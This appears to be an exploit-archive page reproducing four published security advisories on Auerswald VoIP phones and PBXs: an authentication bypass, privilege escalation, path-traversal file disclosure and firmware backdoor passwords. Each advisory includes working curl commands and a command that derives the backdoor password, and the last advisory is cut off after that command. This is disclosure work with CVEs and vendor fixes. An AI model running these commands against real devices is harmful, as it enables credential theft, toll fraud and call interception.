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HCL Lotus Notes V12 - Unquoted Service Path
Auerswald COMfortel 2.8F - Authentication Bypass
Auerswald COMpact 8.0B - Privilege Escalation
Auerswald COMpact 8.0B - Arbitrary File Disclosure
Auerswald COMpact 8.0B - Multiple Backdoors

Advanced Comment System 1.0 - Remote Command Execution (RCE)

Croogo 3.0.2 - Remote Code Execution (Authenticated)
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Offensive Security 2021-12-07 05:02:00 +00:00
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# Exploit Title: Auerswald COMfortel 2.8F - Authentication Bypass
# Date: 06/12/2021
# Exploit Author: RedTeam Pentesting GmbH
# Version: 1400/2600/3600
Advisory: Auerswald COMfortel 1400/2600/3600 IP Authentication Bypass
RedTeam Pentesting discovered a vulnerability in the web-based
configuration management interface of the Auerswald COMfortel 1400 and
2600 IP desktop phones. The vulnerability allows accessing configuration
data and settings in the web-based management interface without
authentication.
Details
=======
Product: Auerswald COMfortel 1400 IP, COMfortel 2600 IP, COMfortel 3600 IP
Affected Versions: <= 2.8F
Fixed Versions: 2.8G (for COMfortel 1400 IP, COMfortel 2600 IP, COMfortel 3600 IP)
Vulnerability Type: Authentication Bypass
Security Risk: high
Vendor URL: https://www.auerswald.de
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2021-004
Advisory Status: published
CVE: CVE-2021-40856
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40856
Introduction
============
"The COMfortel 2600 IP is an Android-based hybrid VoIP telephone (SIP and
IP system phone), with 4.3" colour touch display and preconfigured
answering machine"
(from the vendor's homepage)
More Details
============
During a penetration test it was discovened that several VoIP phones
(COMfortel 2600 and 1400 IP) by the manufacturer Auerswald allow
accessing administrative functions without login credentials, bypassing
the authentication. This can be achieved by simply prefixing API
endpoints that require authentication with "/about/../", since the
"/about" endpoint does not require any authentication.
Proof of Concept
================
The phones run a web-based management interface on Port 80. If accessed,
the HTTP response code 401 together with a website redirecting to the
path "/statics/pageChallenge.html" is returned. This can for example be
seen using the command-line HTTP client curl[1] as follows:
------------------------------------------------------------------------
$ curl --include 'http://192.168.1.190/'
HTTP/1.1 401 Unauthorized
[...]
<!DOCTYPE html><html><head><meta http-equiv='refresh' content='0;
URL=/statics/pageChallenge.html'></head><body></body></html>
------------------------------------------------------------------------
The website contains JavaScript code that requests the path
"/about?action=get" and loads a JSON document (formatted and shortened
to increase readability):
------------------------------------------------------------------------
$ curl --include 'http://192.168.1.190/about?action=get'
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
Cache-Control: no-cache
Content-Length: 3673
Date: Mon, 30 Aug 2021 08:39:24 GMT
Server: lighttpd
{
"DATA": {
"firmware": {
"TYPE": "DATAITEM",
"VALUE": "2.8E",
"KEY": "firmware"
},
"serial": {
"TYPE": "DATAITEM",
"VALUE": "1234567890",
"KEY": "serial"
},
[...]
}
}
------------------------------------------------------------------------
Among other information, this JSON document contains the serial number
and firmware version displayed on the website. This action can be
accessed without authentication. Other endpoints require authentication,
for example the path "/tree?action=get", from which the menu structure
is loaded after successful authentication:
------------------------------------------------------------------------
$ curl --include 'http://192.168.1.190/tree?action=get'
HTTP/1.1 401 Unauthorized
[...]
<!DOCTYPE html><html><head><meta http-equiv='refresh' content='0;
URL=/statics/pageChallenge.html'></head><body></body></html>
------------------------------------------------------------------------
During the penetration test, it was discovered that this action can
successfully be requested by inserting the prefix "/about/../". In order
to prevent curl from normalizing the URL path, the option "--path-as-is"
must be supplied:
------------------------------------------------------------------------
$ curl --include --path-as-is \
'http://192.168.1.190/about/../tree?action=get'
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
Cache-Control: no-cache
Content-Length: 3808
Date: Mon, 30 Aug 2021 08:42:11 GMT
Server: lighttpd
{
"TYPE": "TREENODEPAGE",
"ITEMS": {
"COUNT": 2,
"TYPE": "ITEMLIST",
"1": {
"id": 31,
"text": "applications_settings",
"TYPE": "TREENODEPAGE",
"ITEMS": {
"COUNT": 1,
"TYPE": "ITEMLIST",
"0": {
"target": "pageFunctionkeys.html",
"id": 32,
"action": "/functionkeys",
"text": "key_app",
"pagename": "Functionkeys",
"TYPE": "TREENODEPAGE"
}
}
},
[...]
}
}
------------------------------------------------------------------------
The endpoint "/account" allows listing account data:
------------------------------------------------------------------------
$ curl --include --path-as-is \
'http://192.168.1.190/about/../account?action=list'
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
Cache-Control: no-cache
Content-Length: 793
Date: Mon, 30 Aug 2021 08:43:33 GMT
Server: lighttpd
{
"DATA": {
[...]
"accountList0": {
"KEY": "accountList0",
"COUNT": 1,
"TYPE": "DATAMODEL",
"VALUE": {
"0": {
"ID": 32327,
"PARENTID": 0,
"PROVIDER": "ProviderName",
"NAME": "123 Example User",
"STATUS": 4,
"DEFAULT": 1
}
},
[...]
},
}
}
------------------------------------------------------------------------
The ID 32327 can then be used to get details about that particular
account, including the username and password:
------------------------------------------------------------------------
$ curl --include --path-as-is \
'http://192.168.1.190/about/../account?action=get&itemID=32327'
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
Cache-Control: no-cache
Content-Length: 2026
Date: Mon, 30 Aug 2021 08:44:13 GMT
Server: lighttpd
{
"DATA": {
[...]
"Benutzer": {
"TYPE": "DATAITEM",
"VALUE": "123",
"KEY": "Benutzer"
},
"Passwort": {
"TYPE": "DATAITEM",
"VALUE": "secret",
"KEY": "Passwort"
},
[...]
}
}
------------------------------------------------------------------------
Using a script for Zed Attack Proxy[2], RedTeam Pentesting managed to
access and use the web-based management interface as if regular login
credentials were presented.
It is likely that other functionality can be accessed in the same way,
to for example change settings or activate the integrated option for
recording the Ethernet traffic.
Workaround
==========
Disable the web-based management interface if possible.
Fix
===
Upgrade to a firmware version which corrects this vulnerability.
Security Risk
=============
Inserting the prefix "/about/../" allows bypassing the authentication
check for the web-based configuration management interface. This enables
attackers to gain access to the login credentials used for
authentication at the PBX, among other data.
Attackers can then authenticate at the PBX as the respective phone and
for example call premium rate phone lines they operate to generate
revenue. They can also configure a device they control as the PBX in the
phone, so all incoming and outgoing phone calls are intercepted and can
be recorded. The device also contains a function to record all Ethernet
data traffic, which is likely affected as well.
Overall, the vulnerability completely bypasses the authentication for
the web-based management interface and therefore poses a high risk.
References
==========
[1] https://curl.se
[2] https://github.com/zaproxy/zaproxy/
Timeline
========
2021-08-26 Vulnerability identified
2021-09-01 Customer approved disclosure to vendor
2021-09-10 Vendor notified
2021-09-10 CVE ID requested
2021-09-10 CVE ID assigned
2021-10-04 Vendor provides access to device with fixed firmware
2021-10-05 RedTeam Pentesting examines device, vulnerability seems to be corrected
2021-10-14 Vendor releases corrected firmware version 2.8G
2021-12-06 Advisory published
RedTeam Pentesting GmbH
=======================
RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.
As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.
More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/
Working at RedTeam Pentesting
=============================
RedTeam Pentesting is looking for penetration testers to join our team
in Aachen, Germany. If you are interested please visit:
https://www.redteam-pentesting.de/jobs/
--
RedTeam Pentesting GmbH Tel.: +49 241 510081-0
Dennewartstr. 25-27 Fax : +49 241 510081-99
52068 Aachen https://www.redteam-pentesting.de
Germany Registergericht: Aachen HRB 14004
Geschäftsführer: Patrick Hof, Jens Liebchen

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# Exploit Title: Auerswald COMpact 8.0B - Privilege Escalation
# Date: 06/12/2021
# Exploit Author: RedTeam Pentesting GmbH
Advisory: Auerswald COMpact Privilege Escalation
RedTeam Pentesting discovered a vulnerability in the web-based
management interface of the Auerswald COMpact 5500R PBX which allows
low-privileged users to access passwords of administrative user accounts.
Details
=======
Product: COMpact 4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX), COMpact 5010 VoIP, COMpact 5020 VoIP, COMmander Business(19"), COMmander Basic.2(19")
Affected Versions: <= 8.0B (COMpact 4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX))
Fixed Versions: 8.2B
Vulnerability Type: Privilege Escalation
Security Risk: high
Vendor URL: https://www.auerswald.de/en/product/compact-5500r
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2021-005
Advisory Status: published
CVE: CVE-2021-40857
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40857
Introduction
============
"Fully modular VoIP appliance for more efficient communication processes
With the COMpact 5500R, you are originally equipped for everyday
business - now and in the future.
The fully modular architecture with 80 IP channels and all the functions
of a large ITC server allows up to 112 subscribers and thus scales with
your company.
Continuous maintanance and expansion of the system software makes this
versatile IP server a future-proof investment in any business
communication."
(from the vendor's homepage)
More Details
============
Attackers with low-privileged user accounts, for example those that are
used by VoIP phones, can log into the web-based management interface of
the COMpact 5500R PBX. Afterwards, the list of user accounts can be
listed and details shown for each user account. Adding the URL parameter
"passwd=1" then also includes the clear text password for each user
account, including administrative ones, which can then be used to
authenticate against the management interface.
Proof of Concept
================
The command-line HTTP client curl[1] can be used as follows to log in
with the username "123" and the password "secret" (shortened and
formatted to increase readability):
------------------------------------------------------------------------
$ curl --anyauth --user 123:secret --include https://192.168.1.2/tree
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
Set-Cookie: AUERSessionID1234123412=SNKIFTVQBGDRFJB; HttpOnly; Path=/
[...]
[
{
"login": 1,
"userId": 1234,
"userRufNr": "123",
"userName": "123",
"pbxType": 35,
"pbxId": 0,
"pbx": "COMpact 5500R",
"pbxEdit": "Comp.5500R",
"isActivated": 1,
"dongleTnCount": 112,
"currentConfig": 34,
"cur": "EUR",
"language": 0,
"hidePrivat": 1,
"offlineConfig": false
},
[...]
]
------------------------------------------------------------------------
The server returns a JSON document describing the user account as well
as a session ID in a cookie. This session ID can then be used to access
other API endpoints on the PBX. The following listing shows the request to
the path "/logstatus_state", which returns the current access level:
------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=SNKIFTVQBGDRFJB' --include \
https://192.168.1.2/logstatus_state
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]
{"logstatus":"Teilnehmer"}
------------------------------------------------------------------------
The access level in this case is "Teilnehmer" (member).
The list of all other users can be requested as follows:
------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=SNKIFTVQBGDRFJB' --include \
https://192.168.1.2/cfg_data_teilnehmer
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]
[
[...]
{"id":1234,"nr":"123","name":"Example User","isSubAdmin":false},
[...]
{"id":2222,"nr":"555","name":"sub-admin other user","isSubAdmin":true}
[...]
]
------------------------------------------------------------------------
Two user accounts are shown in the listing above: the current user's
account with the ID 1234 and a different user account with so-called
"sub-admin" privileges with the ID 2222.
Details about a particular user account with a given ID can be requested
like this:
------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=SNKIFTVQBGDRFJB' --include \
'https://192.168.1.2/teilnehmer_profil_einzel_state?tnId=1234'
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]
{"rufnr":"123","name":"Example User",[...],
"privatPin":"XXXXXX","privatPass":"XXXXXXXXXX","privatToken":"XXXXXXXXXX",
[...], "isSubadmin":0,[...]}
------------------------------------------------------------------------
In the returned JSON document, the values of the fields for the PIN,
token and password are replaced by "XXX". But if the URL parameter
"passwd" is set to the value 1, the values are returned in plain text:
------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=SNKIFTVQBGDRFJB' --include \
'https://192.168.1.2/teilnehmer_profil_einzel_state?tnId=1234&passwd=1'
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]
{"rufnr":"123","name":"Example User",[...],
"privatPin":"12345678","privatPass":"secretpassword",
"privatToken":"yyyyyyyyyyyyy",[...], "isSubadmin":0,[...]}
------------------------------------------------------------------------
This can be repeated for other user accounts, for example for the
user account with the ID 2222 shown it the listing earlier. The server
returns the plain text password for the other user account:
------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=SNKIFTVQBGDRFJB' --include \
'https://192.168.1.2/teilnehmer_profil_einzel_state?tnId=2222&passwd=1
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]
{"rufnr":"555","name":"sub-admin other user","privatPin":"99999999",
"privatPass":"verysecretpassword","privatToken":"zzzzzzzzzz",
[...],"isSubadmin":1,[...]}
------------------------------------------------------------------------
The password can then be used to log into the PBX with the other user
account:
------------------------------------------------------------------------
$ curl --anyauth --user sub-admin:verysecretpassword --include \
https://192.168.1.2/tree
[...]
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
Set-Cookie: AUERSessionID1234123412=ERQMMDGECSGWTII; HttpOnly; Path=/
[...]
[{"login":2,"userId":2222,[...]}]
------------------------------------------------------------------------
Checking the access level with the new session ID shows that the user is
now logged in with an administrative account:
------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \
https://192.168.1.2/logstatus_state
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]
{"logstatus":"Sub-Administrator"}%
------------------------------------------------------------------------
Workaround
==========
Disable or restrict access to the web-based management interface if
possible.
Fix
===
Upgrade to a firmware version which corrects this vulnerability.
Security Risk
=============
Attackers who have acquired access to a low-privileged user account, for
example by extracting such an account from a VoIP phone, can log into
the web-based management interface of the COMpact 5500R PBX and access
clear text passwords for other user accounts, including those with the
"sub-admin" privilege. After logging in with these newly acquired
credentials, attackers can access configuration settings and most other
functions.
They can then for example create new SIP credentials and use them to
call premium rate phone lines they operate to generate revenue. They can
monitor and even redirect all incoming and outgoing phone calls and
record all Ethernet data traffic.
Due to the severe and far-reaching consequences and despite the
prerequisite of having to know an existing low-privilege user account,
this vulnerability rated as a high risk.
Timeline
========
2021-08-26 Vulnerability identified
2021-09-01 Customer approved disclosure to vendor
2021-09-10 Vendor notified
2021-09-10 CVE ID requested
2021-09-10 CVE ID assigned
2021-10-05 Vendor provides access to device with fixed firmware
2021-10-11 Vendor provides fixed firmware
2021-10-15 RedTeam Pentesting examines device, vulnerability seems to be corrected
2021-12-06 Advisory published
References
==========
[1] https://curl.se/
RedTeam Pentesting GmbH
=======================
RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.
As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.
More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/
Working at RedTeam Pentesting
=============================
RedTeam Pentesting is looking for penetration testers to join our team
in Aachen, Germany. If you are interested please visit:
https://www.redteam-pentesting.de/jobs/
--
RedTeam Pentesting GmbH Tel.: +49 241 510081-0
Dennewartstr. 25-27 Fax : +49 241 510081-99
52068 Aachen https://www.redteam-pentesting.de
Germany Registergericht: Aachen HRB 14004
Geschäftsführer: Patrick Hof, Jens Liebchen

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# Exploit Title: Auerswald COMpact 8.0B - Arbitrary File Disclosure
# Date: 06/12/2021
# Exploit Author: RedTeam Pentesting GmbH
Advisory: Auerswald COMpact Arbitrary File Disclosure
RedTeam Pentesting discovered a vulnerability in the web-based
management interface of the Auerswald COMpact 5500R PBX which allows
users with the "sub-admin" privilege to access any files on the PBX's
file system.
Details
=======
Product: COMpact 4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX), COMpact 5010 VoIP, COMpact 5020 VoIP, COMmander Business(19"), COMmander Basic.2(19")
Affected Versions: <= 8.0B (COMpact 4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX))
Fixed Versions: 8.2B
Vulnerability Type: Arbitrary File Disclosure
Security Risk: medium
Vendor URL: https://www.auerswald.de/en/product/compact-5500r
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2021-006
Advisory Status: published
CVE: CVE-2021-40858
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40858
Introduction
============
"Fully modular VoIP appliance for more efficient communication processes
With the COMpact 5500R, you are originally equipped for everyday
business - now and in the future.
The fully modular architecture with 80 IP channels and all the functions
of a large ITC server allows up to 112 subscribers and thus scales with
your company.
Continuous maintanance and expansion of the system software makes this
versatile IP server a future-proof investment in any business
communication."
(from the vendor's homepage)
More Details
============
RedTeam Pentesting discovered that attackers with administrative access
to the PBX's web-based management interface (as a so-called "sub-admin")
can download arbitrary files from the PBX's file system. This includes
the usually not accessible configuration database which contains the
password for the highly privileged "Admin" user in clear text.
Proof of Concept
================
The command-line HTTP client curl[1] can be used to log into the
management interface of the PBX with the username "sub-admin" and the
password "verysecretpassword" as follows:
------------------------------------------------------------------------
$ curl --anyauth --user sub-admin:verysecretpassword --include \
https://192.168.1.2/tree
[...]
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
Set-Cookie: AUERSessionID1234123412=ERQMMDGECSGWTII; HttpOnly; Path=/
[...]
[{"login":2,"userId":2222,[...]}]
------------------------------------------------------------------------
The server returns a session ID in a cookie which is then used to check
the access level:
------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \
https://192.168.1.2/logstatus_state
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]
{"logstatus":"Sub-Administrator"}
------------------------------------------------------------------------
In the PBX's user management, the access level "Sub-Administrator" is
used for user accounts who should be able to configure the PBX. There
are also other, higher-level access privileges.
Users with the "sub-admin" privilege can configure music on hold (MOH,
"Wartemusik"), and for example listen to the currently configured music.
In order to do this, the browser requests the music files from the PBX.
The file "alarm1.wav" can be accessed with curl as follows:
------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \
'https://192.168.1.2/wartemusik_verwaltung_play?fileName=alarm1.wav'\
'&pageindex=1'
HTTP/1.1 200 OK
Content-Type: audio/x-wav; charset=
Content-Length: 132192
Content-disposition: attachment; filename="alarm1.wav"
[...]
------------------------------------------------------------------------
It was found that the PBX allows directory traversal with the string
"../", so the file "/etc/passwd" can be accessed as follows:
------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \
'https://192.168.1.2/wartemusik_verwaltung_play?'\
'fileName=../../etc/passwd&pageindex='
HTTP/1.1 200 OK
[...]
Content-Length: 113
Content-disposition: attachment; filename="../../etc/passwd"
[...]
root::0:0:root:/root:/bin/sh
netstorage::1:1::/data/ftpd:/bin/false
web::2:2::/opt/auerswald/lighttpd:/bin/false
------------------------------------------------------------------------
The same issue is present in the function for managing logos. A regular
request for the file "logo1.jpg" is shown below:
------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \
'https://192.168.1.2/logo_verwaltung_preview?fileName=logo1.jpg&424'
HTTP/1.1 200 OK
X-XSS-Protection: 1
Content-Type: image/jpg; charset=UTF-8
Content-Length: 13986
Content-disposition: attachment; filename="logo1.jpg"
[...]
------------------------------------------------------------------------
In a similar fashion as before, the file "/etc/passwd" can be accessed:
------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' --include \
'https://192.168.1.2/logo_verwaltung_preview?fileName=../../etc/passwd'
HTTP/1.1 200 OK
[...]
root::0:0:root:/root:/bin/sh
netstorage::1:1::/data/ftpd:/bin/false
web::2:2::/opt/auerswald/lighttpd:/bin/false
------------------------------------------------------------------------
For attackers, an interesting file is the SQLite[2] database file
"/data/db/pbx4.db". It can be downloaded as follows:
------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=ERQMMDGECSGWTII' 'https://'\
'192.168.1.2/logo_verwaltung_preview?fileName=../../data/db/pbx4.db' \
> pbx4.db
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 5120 100 5120 0 0 16253 0 --:--:-- --:--:-- --:--:-- 16305
------------------------------------------------------------------------
This file contains the password for the highly privileged "Admin" user
account:
------------------------------------------------------------------------
$ sqlite3 pbx4.db
SQLite version 3.27.2 2019-02-25 16:06:06
Enter ".help" for usage hints.
sqlite> .tables
DbFileVersion PbxMisc
sqlite> select * from PbxMisc;
[...]
AdminPasswdHash|
AdminLogin|Admin
AdminPin|43214321
AdminPasswd|S3kr1t!
------------------------------------------------------------------------
The username and password can then be used to log into the web
application:
------------------------------------------------------------------------
$ curl --user 'Admin:S3kr1t!' --anyauth --include \
https://192.168.1.2/tree
HTTP/1.1 200 OK
Set-Cookie: AUERSessionID1234123412=AJXGKBFTCIHSHAC; HttpOnly; Path=/
[...]
[{"login":3,"userId":0,"userName":"",[...]}]
------------------------------------------------------------------------
Checking the access level reveals the new privilege:
------------------------------------------------------------------------
$ curl --cookie 'AUERSessionID1234123412=AJXGKBFTCIHSHAC' --include \
https://192.168.1.2/logstatus_state
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]
{"logstatus":"Administrator"}
------------------------------------------------------------------------
The user "Admin", in contrast to regular administrative users
("sub-admin"), can access more functions and for example apply firmware
updates.
Workaround
==========
Disable or restrict access to the web-based management if possible.
Fix
===
Upgrade to a firmware version which corrects this vulnerability.
Security Risk
=============
Attackers who already have acquired administrative access as a so-called
"sub-admin" can download a database file and access the password for the
highly privileged "Admin" account. This account can use more functions and
is allowed to apply firmware updates.
On the one hand, exploiting this vulnerability already requires
administrative access. On the other hand, attackers can reach
high-privileged access to the PBX and use functions not available to
"sub-admin" users, like firmware updates. All in all, this vulnerability
is therefore rated to have a medium risk potential.
Timeline
========
2021-08-26 Vulnerability identified
2021-09-01 Customer approved disclosure to vendor
2021-09-10 Vendor notified
2021-09-10 CVE ID requested
2021-09-10 CVE ID assigned
2021-10-05 Vendor provides access to device with fixed firmware
2021-10-11 Vendor provides fixed firmware
2021-10-15 RedTeam Pentesting examines device, vulnerability seems to be corrected
2021-12-06 Advisory published
References
==========
[1] https://curl.se
[2] https://www.sqlite.org
RedTeam Pentesting GmbH
=======================
RedTeam Pentesting offers individual penetration tests performed by a
team of specialised IT-security experts. Hereby, security weaknesses in
company networks or products are uncovered and can be fixed immediately.
As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security-related areas. The results are made available as public
security advisories.
More information about RedTeam Pentesting can be found at:
https://www.redteam-pentesting.de/
Working at RedTeam Pentesting
=============================
RedTeam Pentesting is looking for penetration testers to join our team
in Aachen, Germany. If you are interested please visit:
https://www.redteam-pentesting.de/jobs/
--
RedTeam Pentesting GmbH Tel.: +49 241 510081-0
Dennewartstr. 25-27 Fax : +49 241 510081-99
52068 Aachen https://www.redteam-pentesting.de
Germany Registergericht: Aachen HRB 14004
Geschäftsführer: Patrick Hof, Jens Liebchen

350
exploits/hardware/remote/50569.txt Normal file
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@ -0,0 +1,350 @@
# Exploit Title: Auerswald COMpact 8.0B - Multiple Backdoors
# Date: 06/12/2021
# Exploit Author: RedTeam Pentesting GmbH
Advisory: Auerswald COMpact Multiple Backdoors
RedTeam Pentesting discovered several backdoors in the firmware for the
Auerswald COMpact 5500R PBX. These backdoors allow attackers who are
able to access the web-based management application full administrative
access to the device.
Details
=======
Product: COMpact 3000 ISDN, COMpact 3000 analog, COMpact 3000 VoIP, COMpact 4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX), COMpact 5010 VoIP, COMpact 5020 VoIP, COMmander Business(19"), COMmander Basic.2(19")
Affected Versions: <= 8.0B (COMpact 4000, COMpact 5000(R), COMpact 5200(R), COMpact 5500R, COMmander 6000(R)(RX)), <= 4.0S (COMpact 3000 ISDN, COMpact 3000 analog, COMpact 3000 VoIP)
Fixed Versions: 8.2B, 4.0T
Vulnerability Type: Backdoor
Security Risk: high
Vendor URL: https://www.auerswald.de/en/product/compact-5500r
Vendor Status: fixed version released
Advisory URL: https://www.redteam-pentesting.de/advisories/rt-sa-2021-007
Advisory Status: published
CVE: CVE-2021-40859
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-40859
Introduction
============
"Fully modular VoIP appliance for more efficient communication processes
With the COMpact 5500R, you are originally equipped for everyday
business - now and in the future.
The fully modular architecture with 80 IP channels and all the functions
of a large ITC server allows up to 112 subscribers and thus scales with
your company.
Continuous maintanance and expansion of the system software makes this
versatile IP server a future-proof investment in any business
communication."
(from the vendor's homepage)
More Details
============
Two backdoor passwords were found in the firmware of the COMpact 5500R
PBX. One backdoor password is for the secret user "Schandelah", the
other can be used for the highest-privileged user "Admin". No way was
discovered to disable these backdoors.
Proof of Concept
================
The firmware for the COMpact 5500R can be downloaded from the vendor's
homepage[1]. The following details refer to firmware version 7.8A, but
the latest firmware at the time of writing (8.0B) is affected as well.
Inspecting the downloaded file reveals that it is compressed and can be
extracted with the program "gunzip":
------------------------------------------------------------------------
$ file 7_8A_002_COMpact5500.rom
7_8A_002_COMpact5500.rom: gzip compressed data, last modified: Wed Sep 23
15:04:43 2020, from Unix, original size 196976698
$ mv 7_8A_002_COMpact5500.rom 7_8A_002_COMpact5500.gz
$ gunzip 7_8A_002_COMpact5500.gz
------------------------------------------------------------------------
Analysing the resulting file again shows that it is an image file in the
format required by the bootloader "Das U-Boot"[2], a popular bootloader
for embedded devices:
------------------------------------------------------------------------
$ file 7_8A_002_COMpact5500.rom
7_8A_002_COMpact5500.rom: u-boot legacy uImage, CP5500 125850, Linux/ARM,
Multi-File Image (Not compressed), 196976634 bytes, Wed Sep 23 15:04:38
2020, Load Address: 0x00000000, Entry Point: 0x00000000, Header CRC: 0
xCECA93E8, Data CRC: 0x99E65DF1
------------------------------------------------------------------------
The program "dumpimage" (included with u-boot) can be used to list the
partitions in the image file:
------------------------------------------------------------------------
$ dumpimage -l 7_8A_002_COMpact5500.rom
Image Name:
CP5500 125850
Created:
Wed Sep 23 17:04:38 2020
Image Type:
ARM Linux Multi-File Image (uncompressed)
Data Size:
196976634 Bytes = 192359.99 KiB = 187.85 MiB
Load Address: 00000000
Entry Point: 00000000
Contents:
Image 0: 512 Bytes = 0.50 KiB = 0.00 MiB
Image 1: 196976110 Bytes = 192359.48 KiB = 187.85 MiB
------------------------------------------------------------------------
The larger partition then was extracted into the file "rootfs" as
follows:
------------------------------------------------------------------------
$ dumpimage -i 7_8A_002_COMpact5500.rom -p 1 rootfs
------------------------------------------------------------------------
Contained in the file is an ext2-compatible file system, which was
mounted at "/mnt" and inspected:
------------------------------------------------------------------------
$ file rootfs
rootfs: Linux rev 1.0 ext2 filesystem data, UUID=c3604712-a2ca-412f-81ca-
f302d7f20ef1, volume name "7.8A_002_125850."
$ sudo mount -o loop,ro rootfs /mnt
$ cat /mnt/etc/passwd
root::0:0:root:/root:/bin/sh
netstorage::1:1::/data/ftpd:/bin/false
web::2:2::/opt/auerswald/lighttpd:/bin/false
------------------------------------------------------------------------
The PBX runs the web server lighttpd[3], the configuration files can be
found in the folder "/opt/auerswald/lighttpd". The web server forwards
most requests via FastCGI to the program "/opt/auerswald/web/webserver".
This program can then be analysed, for example using the reverse
engineering program Ghidra[4].
The manual for the PBX reveals that in order to manage the device, users
need to log in with the username "sub-admin". When this string is
searched within the program in Ghidra, the function which checks
passwords on login can be identified.
It can easily be seen that besides the username "sub-admin" the function
also checks for the hard-coded username "Schandelah", which is the
village of Auerswald's headquarter. Further analysis revealed that the
corresponding password for this username is derived by concatenating the
PBX's serial number, the string "r2d2" and the current date, hashing it
with the MD5 hash algorithm and taking the first seven lower-case hex
chars of the result.
All data needed to derive the password can be accessed without
authentication by requesting the path "/about_state", which is also used
on the website the PBX redirects users to who abort the password prompt
(shortened and formatted to increase readability):
------------------------------------------------------------------------
$ curl --include https://192.168.1.2/about_state
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8;
[...]
{
"pbx": "COMpact 5500R",
"pbxType": 35,
"pbxId": 0,
"version": "Version 7.8A - Build 002 ",
"serial": "1234123412",
"date": "30.08.2021",
[...]
}
------------------------------------------------------------------------
The password can be derived as follows:
------------------------------------------------------------------------
$ echo -n 1234123412r2d230.08.2021 | md5sum | egrep -o '^.{7}'
1432d89
------------------------------------------------------------------------
This password can then be used for authentication:
------------------------------------------------------------------------
$ curl --include --user 'Schandelah:1432d89' --anyauth \
https://192.168.1.2/tree
HTTP/1.1 302 Found
Location: /statics/html/page_servicetools.html
Set-Cookie: AUERSessionID1234123412=AXCTMGGCCUAGBSE; HttpOnly; Path=/
[...]
------------------------------------------------------------------------
Next, the endpoint "/logstatus_state" can be queried using the returned
session ID to check the access level:
------------------------------------------------------------------------
% curl --cookie 'AUERSessionID1234123412=AXCTMGGCCUAGBSE' --include \
https://192.168.1.2/logstatus_state
HTTP/1.1 200 OK
X-XSS-Protection: 1
Content-Type: application/json; charset=utf-8;
[...]
{"logstatus":"Haendler"}
------------------------------------------------------------------------
The returned access level is "Haendler" (reseller). After login, the web
server redirects to a special service page at the path
"/statics/html/page_servicetools.html". Among other things, it allows to
download a backup of all data on the device, configure audio recording
and reset the password, PIN and token for the user "Admin". Accessing
regular administrative functions is not possible directly with this user
account.
When inspecting the password checking function, a second backdoor can be
found. When the username "Admin" is specified, the given password is
tested against the configured password as well as a password derived in
a similar way from the PBX's serial number, the string "r2d2", the
current date and the configured language. The MD5 hash is taken and the
specified password is tested against the first seven characters of the
lower case hexadecimal hash.
The backdoor password for the "Admin" user can be calculated as follows:
------------------------------------------------------------------------
$ echo -n 1234123412r2d230.08.2021DE | md5sum | egrep -o '^.{7}'
92fcdd9
------------------------------------------------------------------------
